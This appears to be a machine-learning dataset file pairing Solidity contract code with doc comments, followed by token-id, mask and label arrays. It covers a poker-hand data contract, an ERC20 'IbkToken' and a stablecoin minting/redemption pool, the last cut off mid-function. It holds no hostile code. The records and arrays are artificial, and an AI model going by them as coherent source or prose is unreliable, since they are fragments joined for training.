address storing the public card values. * @param cards The encrypted public card(s) selection(s) to add to the 'publicCards' array. If this array is empty then the entire * 'publicCards' array is reset. */ function set_publicCards (address fromAddr, uint256[] memory cards) public onlyAuthorized { if (cards.length == 0) { for (uint8 count = 0; count < 5; count++) { publicCards[count]=1; } } else { for (uint8 count=0; count < cards.length; count++) { publicCards[DataUtils.arrayLength5(publicCards)] = cards[count]; } } } /** * Stores up to 5 partially decrypted public or community cards from a target player. The player must must have agreed to the * contract, and must be at phase 6, 9, or 12. Multiple invocations may be used to store cards during the multi-card * phase (6) if desired. * * In order to correlate decryptions during subsequent rounds cards are stored at matching indexes for players involved. * To illustrate this, in the following example players 1 and 2 decrypted the first three cards and players 2 and 3 decrypted the following * two cards: * * publicDecryptCards(player 1) = [0x32] [0x22] [0x5A] [ 0x0] [ 0x0] <- partially decrypted only the first three cards * publicDecryptCards(player 2) = [0x75] [0xF5] [0x9B] [0x67] [0xF1] <- partially decrypted all five cards * publicDecryptCards(player 3) = [ 0x0] [ 0x0] [ 0x0] [0x1C] [0x22] <- partially decrypted only the last two cards * * The number of players involved in the partial decryption of any card at a specific index should be the total number of players minus one * (players.length - 1), since the final decryption results in the fully decrypted card and therefore doesn't need to be stored. * * @param fromAddr The sending or decrypting agreed player storing the partially-decrypted public card values. * @param cards The partially-decrypted card value(s) to store. If this parameter is an empty array the 'publicDecrypCards' and * 'playerBestHands' arrays are reset/cleared. */ function set_publicDecryptCards (address fromAddr, uint256[] memory cards) public onlyAuthorized { if (cards.length == 0) { /* for (uint count=0; count<5; count++) { delete publicDecryptCards[fromAddr][count]; delete playerBestHands[fromAddr][count]; } */ delete publicDecryptCards[fromAddr]; delete playerBestHands[fromAddr]; } else { (uint maxLength, uint playersAtMaxLength) = publicDecryptCardsInfo(); //adjust maxLength value to use as index if ((playersAtMaxLength < (players.length - 1)) && (maxLength > 0)) { maxLength--; } for (uint count=0; count < cards.length; count++) { publicDecryptCards[fromAddr][maxLength] = cards[count]; maxLength++; } } } /** * Sets the 'declaredWinner' address declared by a player. * * @param fromAddr The agreed player address storing a declared winner address. * @param winnerAddr The declared agreed player address being stored by the 'fromAddr' player address. */ function add_declaredWinner(address fromAddr, address winnerAddr) public onlyAuthorized { if (winnerAddr == address(0)) { delete declaredWinner[fromAddr]; } else { declaredWinner[fromAddr] = winnerAddr; } } /** * Returns the index / position of the 'privateDecryptCards' struct for a specific source and target player address * combination. If the combination doesn't exist it is created and the index of the new element is returned. * * @param sourceAddr The address of the source or sending player. * @param targetAddr The address of the target player to whom the associated partially decrypted cards belong. * * @return The index of the element within the privateDecryptCards array that matched the source and target addresses. * The element may be new if no matching element can be found. */ function privateDecryptCardsIndex (address sourceAddr, address targetAddr) public onlyAuthorized returns (uint) { for (uint count=0; count < privateDecryptCards.length; count++) { if ((privateDecryptCards[count].sourceAddr == sourceAddr) && (privateDecryptCards[count].targetAddr == targetAddr)) { return (count); } } //none found, create a new one uint256[2] memory tmp; privateDecryptCards.push(DecryptPrivateCardsStruct(sourceAddr, targetAddr, tmp)); return (privateDecryptCards.length - 1); } /** * Sets an encrypted card in the 'playerBestHands' array for a specific player address. * * @param fromAddr The player for which to store the encrypted card. * @param cardIndex The 0-based card index within the 'playerBestHands' array for the 'fromAddr' address to set. * @param card The encrypted card value to set for the 'fromAddr' player at index 'cardIndex' within the 'playerBestHands' array. */ function set_playerBestHands(address fromAddr, uint cardIndex, uint256 card) public onlyAuthorized { playerBestHands[fromAddr][cardIndex] = card; } /** * Adds encryption and decryption keys to the 'playerKeys' array for an agreed player address. * * @param fromAddr The agreed player address for which to set the encryption and decryption keys. * @param encKeys The encryption keys to store for the 'fromAddr' player address. * @param decKeys The decryption keys to store for the 'fromAddr' player address. */ function add_playerKeys(address fromAddr, uint256[] memory encKeys, uint256[] memory decKeys) public onlyAuthorized { //caller guarantees that the number of encryption keys matches number decryption keys for (uint count=0; count<encKeys.length; count++) { playerKeys[fromAddr].push(Key(encKeys[count], decKeys[count], prime)); } } /** * Deletes / clears the 'playerKeys' array for an agreed player address. * * @param fromAddr The agreed player address for which to clear entries (encryption and decryption keys), from the 'playerKeys' array. */ function remove_playerKeys(address fromAddr) public onlyAuthorized { delete playerKeys[fromAddr]; } /** * Sets the 'challenger' address. * * @param challengerAddr The address of the challenging player to assign to the 'challenger' variable. */ function set_challenger(address challengerAddr) public onlyAuthorized { challenger = challengerAddr; } /** * Send an amount, up to and including the current contract's value, to an address. This address does not need to be a player address. * * @param toAddr The address to send some or all of the contract's value to. * @param amount The amount, in wei, to send to the 'toAddr' address. * * @return The result of the "toAddr.send" operation. */ function pay (address payable toAddr, uint amount) public onlyAuthorized returns (bool) { if (toAddr.send(amount)) { return (true); } return (false); } /** * @return Information about the 'publicDecryptCards' array. The tuple includes a 'maxLength' property which * is the maximum length of 'publicDecryptCards' for all agreed players (some players may have stored fewer cards), and * 'playersAtMaxLength' which is a count of players that have stored 'maxLength' cards in the 'publicDecryptCards' array. */ function publicDecryptCardsInfo() public returns (uint maxLength, uint playersAtMaxLength) { uint currentLength = 0; maxLength = 0; for (uint8 count=0; count < players.length; count++) { currentLength = DataUtils.arrayLength5(publicDecryptCards[players[count]]); if (currentLength > maxLength) { maxLength = currentLength; } } playersAtMaxLength = 0; for (uint8 count=0; count < players.length; count++) { currentLength = DataUtils.arrayLength5(publicDecryptCards[players[count]]); if (currentLength == maxLength) { playersAtMaxLength++; } } } /** * Returns the length number of elements stored by a player address in the 'encryptedDeck' array. * * @param fromAddr The address for which to retrieve the number of stored elements. * * @return The number of elements stored by 'fromAddr' in the 'encryptedDeck' array. */ function length_encryptedDeck(address fromAddr) public returns (uint) { return (DataUtils.arrayLength52(encryptedDeck[fromAddr])); } } library DataUtils { /** * Returns the number of elements in a non-dynamic, 52-element array. The final element in the array that is * greater than 1 is considered the end of the array even if all preceeding elements are less than 2. * * @param inputArray The non-dynamic storage array to check for length. * */ function arrayLength52(uint[52] memory inputArray) internal returns (uint) { for (uint count=52; count>0; count--) { if ((inputArray[count-1] > 1)) { return (count); } } return (0); } /** * Returns the number of elements in a non-dynamic, 5-element array. The final element in the array that is * greater than 1 is considered the end of the array even if all preceeding elements are less than 2. * * @param inputArray The non-dynamic storage array to check for length.. * */ function arrayLength5(uint[5] memory inputArray) internal returns (uint) { for (uint count=5; count>0; count--) { if ((inputArray[count-1] > 1)) { return (count); } } return (0); } /** * Returns the number of elements in a non-dynamic, 2-element array. The final element in the array that is * greater than 1 is considered the end of the array even if all preceeding elements are less than 2. * * @param inputArray The non-dynamic storage array to check for length. * */ function arrayLength2(uint[2] memory inputArray) internal returns (uint) { for (uint count=2; count>0; count--) { if ((inputArray[count-1] > 1)) { return (count); } } return (0); } } contract PokerHandValidator { struct Card { uint index; uint suit; uint value; } struct Key { uint256 encKey; uint256 decKey; uint256 prime; } address public owner; address public lastSender; PokerHandData public pokerHandData; Card[5] public workCards; Card[] public sortedGroup; Card[][] public sortedGroups; Card[][15] public cardGroups; // function PokerHandValidator () {} function () external {} modifier isAuthorized { PokerHandData handData = PokerHandData(msg.sender); bool found = false; for (uint count=0; count<handData.numAuthorizedContracts(); count++) { if (handData.authorizedGameContracts(count) == msg.sender) { found = true; break; } } if (!found) { revert(); } _; } function challenge (address dataAddr, address challenger) public isAuthorized returns (bool) {} function validate(address dataAddr, address msgSender) public isAuthorized returns (bool) {} function decryptCard(address target, uint cardIndex) private {} function validateCard(address target, uint cardIndex) private {} function generateScore(address target) private {} function checkDecryptedCard (address sender, uint256 cardValue) private returns (bool) {} function modExp(uint256 base, uint256 exp, uint256 mod) internal returns (uint256 result) {} function getCardIndex(uint256 value, uint256 baseCard, uint256 prime) public view returns (uint256 index) {} function calculateHandScore() private returns (uint256) {} function groupWorkCards(bool byValue) private {} function clearGroups() private {} function sortWorkCards(bool acesHigh) private {} function scoreStraights(bool acesHigh) private returns (uint256) {} function scoreGroups(bool valueGroups, bool acesHigh) private returns (uint256) {} function checkGroupExists(uint8 memberCount) private returns (bool) {} function addCardValues(uint256 startingValue, bool acesHigh) private returns (uint256) {} function getSortedGroupLength32(uint8 index) private returns (uint32) {} }
buy-in value, in wei, required in order to agree to the contract
uint256 public buyIn;
15,866,805
[ 1, 70, 9835, 17, 267, 460, 16, 316, 732, 77, 16, 1931, 316, 1353, 358, 1737, 992, 358, 326, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 30143, 382, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract IbkToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function IbkToken() public { symbol = "IBK"; name = "Ibk Token"; decimals = 8; _totalSupply = 10000000000000000000; balances[0xa810b7eE5C36691Be3f82DAf8be169E604E82588] = _totalSupply; Transfer(address(0), 0xa810b7eE5C36691Be3f82DAf8be169E604E82588, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to to account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner&#39;s account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
contract IbkToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function IbkToken() public { symbol = "IBK"; name = "Ibk Token"; decimals = 8; _totalSupply = 10000000000000000000; balances[0xa810b7eE5C36691Be3f82DAf8be169E604E82588] = _totalSupply; Transfer(address(0), 0xa810b7eE5C36691Be3f82DAf8be169E604E82588, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
6,632,931
[ 1, 5802, 7620, 4232, 39, 3462, 3155, 16, 598, 326, 2719, 434, 3273, 16, 508, 471, 15105, 471, 1551, 25444, 1147, 29375, 8879, 13849, 8879, 17082, 11417, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 467, 24600, 1345, 353, 4232, 39, 3462, 1358, 16, 14223, 11748, 16, 14060, 10477, 288, 203, 565, 533, 1071, 3273, 31, 203, 565, 533, 1071, 225, 508, 31, 203, 565, 2254, 28, 1071, 15105, 31, 203, 565, 2254, 1071, 389, 4963, 3088, 1283, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 13, 324, 26488, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 203, 565, 445, 467, 24600, 1345, 1435, 1071, 288, 203, 3639, 3273, 273, 315, 13450, 47, 14432, 203, 3639, 508, 273, 315, 45, 24600, 3155, 14432, 203, 3639, 15105, 273, 1725, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 2130, 12648, 2787, 11706, 31, 203, 3639, 324, 26488, 63, 20, 6995, 28, 2163, 70, 27, 73, 41, 25, 39, 5718, 8148, 21, 1919, 23, 74, 11149, 9793, 74, 28, 2196, 26035, 41, 26, 3028, 41, 28, 2947, 5482, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 12279, 12, 2867, 12, 20, 3631, 374, 6995, 28, 2163, 70, 27, 73, 41, 25, 39, 5718, 8148, 21, 1919, 23, 74, 11149, 9793, 74, 28, 2196, 26035, 41, 26, 3028, 41, 28, 2947, 5482, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 5381, 1135, 261, 11890, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 225, 300, 324, 26488, 63, 2867, 12, 20, 13, 15533, 203, 565, 289, 203, 203, 203, 565, 445, 11013, 951, 12, 2867, 1147, 5541, 13, 1071, 5381, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "./interfaces/IShare.sol"; import "./interfaces/IDollar.sol"; import "./interfaces/ITreasury.sol"; import "./interfaces/IOracle.sol"; import "./interfaces/IPool.sol"; contract Pool is Ownable, ReentrancyGuard, Initializable, IPool { using SafeERC20 for ERC20; /* ========== ADDRESSES ================ */ address public oracle; address public collateral; address public dollar; address public treasury; address public share; /* ========== STATE VARIABLES ========== */ mapping(address => uint256) public redeem_share_balances; mapping(address => uint256) public redeem_collateral_balances; uint256 public pool_ceiling = 1000000001e6; // Total across all collaterals. uint256 public override unclaimed_pool_collateral; uint256 public unclaimed_pool_share; mapping(address => uint256) public last_redeemed; // Constants for various precisions uint256 private constant PRICE_PRECISION = 1e6; uint256 private constant COLLATERAL_RATIO_PRECISION = 1e6; uint256 private constant COLLATERAL_RATIO_MAX = 1e6; // 10 ** Number of decimals needed to get to 18 uint256 private missing_decimals; // Number of blocks to wait before being able to collectRedemption() uint256 public redemption_delay = 1; // AccessControl state variables bool public mint_paused = false; bool public redeem_paused = false; bool public recollat_paused = false; // Recollat related uint256 public bonus_rate = 5000; // Bonus rate on IVORY minted during recollateralize(); 6 decimals of precision mapping(uint256 => uint256) public rct_hourly_cum; // Epoch hour -> IVORY out in that hour uint256 public rct_max_share_out_per_hour = 0; // Infinite if 0 /* ========== CONSTRUCTOR ========== */ function initialize( address _dollar, address _share, address _collateral, address _treasury ) external initializer onlyOwner { dollar = _dollar; share = _share; collateral = _collateral; treasury = _treasury; missing_decimals = 10 ** (18 - ERC20(_collateral).decimals()); } /* ========== VIEWS ========== */ function info() external view returns ( uint256, uint256, uint256, bool, bool ) { return ( unclaimed_pool_collateral, // unclaimed amount of COLLATERAL unclaimed_pool_share, // unclaimed amount of SHARE getCollateralPrice(), // collateral price mint_paused, redeem_paused ); } function collateralReserve() public view returns (address) { return ITreasury(treasury).collateralReserve(); } function getCollateralPrice() public view override returns (uint256) { return IOracle(oracle).consult(); } /* ========== PUBLIC FUNCTIONS ========== */ function mint( uint256 _collateral_amount, uint256 _share_amount, uint256 _dollar_out_min ) external nonReentrant { require(mint_paused == false, "Minting is paused"); (, uint256 _share_price, , uint256 _tcr, , , uint256 _minting_fee, ) = ITreasury(treasury).info(); require(_share_price > 0, "Invalid share price"); // Don't take in more collateral than the pool ceiling for this token allows require((ITreasury(treasury).globalCollateralBalance() + _collateral_amount) <= pool_ceiling, "Pool ceiling"); uint256 _price_collateral = getCollateralPrice(); uint256 _total_dollar_value = 0; uint256 _required_share_amount = 0; if (_tcr > 0) { uint256 _collateral_value = ((_collateral_amount * missing_decimals) * _price_collateral) / PRICE_PRECISION; _total_dollar_value = (_collateral_value * COLLATERAL_RATIO_PRECISION) / _tcr; if (_tcr < COLLATERAL_RATIO_MAX) { _required_share_amount = ((_total_dollar_value - _collateral_value) * PRICE_PRECISION) / _share_price; } } else { _total_dollar_value = (_share_amount * _share_price) / PRICE_PRECISION; _required_share_amount = _share_amount; } uint256 _actual_dollar_amount = _total_dollar_value - ((_total_dollar_value * _minting_fee) / PRICE_PRECISION); require(_dollar_out_min <= _actual_dollar_amount, "slippage"); if (_required_share_amount > 0) { require(_required_share_amount <= _share_amount, "Not enough SHARE input"); IShare(share).poolBurnFrom(msg.sender, _required_share_amount); } if (_collateral_amount > 0) { _transferCollateralToReserve(msg.sender, _collateral_amount); } IDollar(dollar).poolMint(msg.sender, _actual_dollar_amount); } function redeem( uint256 _dollar_amount, uint256 _share_out_min, uint256 _collateral_out_min ) external nonReentrant { require(redeem_paused == false, "Redeeming is paused"); (, uint256 _share_price, , , uint256 _ecr, , , uint256 _redemption_fee) = ITreasury(treasury).info(); uint256 _collateral_price = getCollateralPrice(); require(_collateral_price > 0, "Invalid collateral price"); require(_share_price > 0, "Invalid share price"); uint256 _dollar_amount_post_fee = _dollar_amount - ((_dollar_amount * _redemption_fee) / PRICE_PRECISION); uint256 _collateral_output_amount = 0; uint256 _share_output_amount = 0; if (_ecr < COLLATERAL_RATIO_MAX) { uint256 _share_output_value = _dollar_amount_post_fee - ((_dollar_amount_post_fee * _ecr) / PRICE_PRECISION); _share_output_amount = (_share_output_value * PRICE_PRECISION) / _share_price; } if (_ecr > 0) { uint256 _collateral_output_value = ((_dollar_amount_post_fee * _ecr) / PRICE_PRECISION) / missing_decimals; _collateral_output_amount = (_collateral_output_value * PRICE_PRECISION) / _collateral_price; } // Check if collateral balance meets and meet output expectation uint256 _totalCollateralBalance = ITreasury(treasury).globalCollateralBalance(); require(_collateral_output_amount <= _totalCollateralBalance, "exceed total collateral balance" ); require(_collateral_out_min <= _collateral_output_amount && _share_out_min <= _share_output_amount, ">slippage"); if (_collateral_output_amount > 0) { redeem_collateral_balances[msg.sender] = redeem_collateral_balances[msg.sender] + _collateral_output_amount; unclaimed_pool_collateral = unclaimed_pool_collateral + _collateral_output_amount; } if (_share_output_amount > 0) { redeem_share_balances[msg.sender] = redeem_share_balances[msg.sender] + _share_output_amount; unclaimed_pool_share = unclaimed_pool_share + _share_output_amount; } last_redeemed[msg.sender] = block.number; // Move all external functions to the end IDollar(dollar).poolBurnFrom(msg.sender, _dollar_amount); if (_share_output_amount > 0) { _mintShareToCollateralReserve(_share_output_amount); } } function collectRedemption() external nonReentrant { require((last_redeemed[msg.sender] + redemption_delay) <= block.number, "<redemption_delay"); bool _send_share = false; bool _send_collateral = false; uint256 _share_amount; uint256 _collateral_amount; // Use Checks-Effects-Interactions pattern if (redeem_share_balances[msg.sender] > 0) { _share_amount = redeem_share_balances[msg.sender]; redeem_share_balances[msg.sender] = 0; unclaimed_pool_share = unclaimed_pool_share - _share_amount; _send_share = true; } if (redeem_collateral_balances[msg.sender] > 0) { _collateral_amount = redeem_collateral_balances[msg.sender]; redeem_collateral_balances[msg.sender] = 0; unclaimed_pool_collateral = unclaimed_pool_collateral - _collateral_amount; _send_collateral = true; } if (_send_share) { _requestTransferShare(msg.sender, _share_amount); } if (_send_collateral) { _requestTransferCollateral(msg.sender, _collateral_amount); } } // When the protocol is recollateralizing, we need to give a discount of IVORY to hit the new CR target // Thus, if the target collateral ratio is higher than the actual value of collateral, minters get IVORY for adding collateral // This function simply rewards anyone that sends collateral to a pool with the same amount of IVORY + the bonus rate // Anyone can call this function to recollateralize the protocol and take the extra IVORY value from the bonus rate as an arb opportunity function recollateralize(uint256 _collateral_amount, uint256 _share_out_min) external returns (uint256 share_out) { require(recollat_paused == false, "Recollat is paused"); // Don't take in more collateral than the pool ceiling for this token allows require((ITreasury(treasury).globalCollateralBalance() + _collateral_amount) <= pool_ceiling, "Pool ceiling"); uint256 _collateral_amount_d18 = _collateral_amount * missing_decimals; uint256 _share_price = ITreasury(treasury).sharePrice(); // Get the amount of IVORY actually available (accounts for throttling) uint256 _share_actually_available = recollatAvailableShare(); // Calculated the attempted amount of IVORY uint256 _collat_price = getCollateralPrice(); share_out = _collateral_amount_d18 * _collat_price * (PRICE_PRECISION + bonus_rate) / PRICE_PRECISION / _share_price; // Make sure there is IVORY available require(share_out <= _share_actually_available, "Insuf IVORY Avail For RCT"); // Check slippage require(share_out >= _share_out_min, "IVORY slippage"); // Take in the collateral and pay out the IVORY _transferCollateralToReserve(msg.sender, _collateral_amount); IShare(share).poolMint(msg.sender, share_out); // Increment the outbound IVORY, in E18 // Used for recollat throttling rct_hourly_cum[curEpochHr()] += share_out; emit Recollateralized(_collateral_amount, share_out); } // Returns the missing amount of collateral (in E18) needed to maintain the collateral ratio function recollatTheoColAvailableE18() public view returns (uint256) { uint256 _share_total_supply = ERC20(share).totalSupply(); (, , , uint256 _tcr, uint256 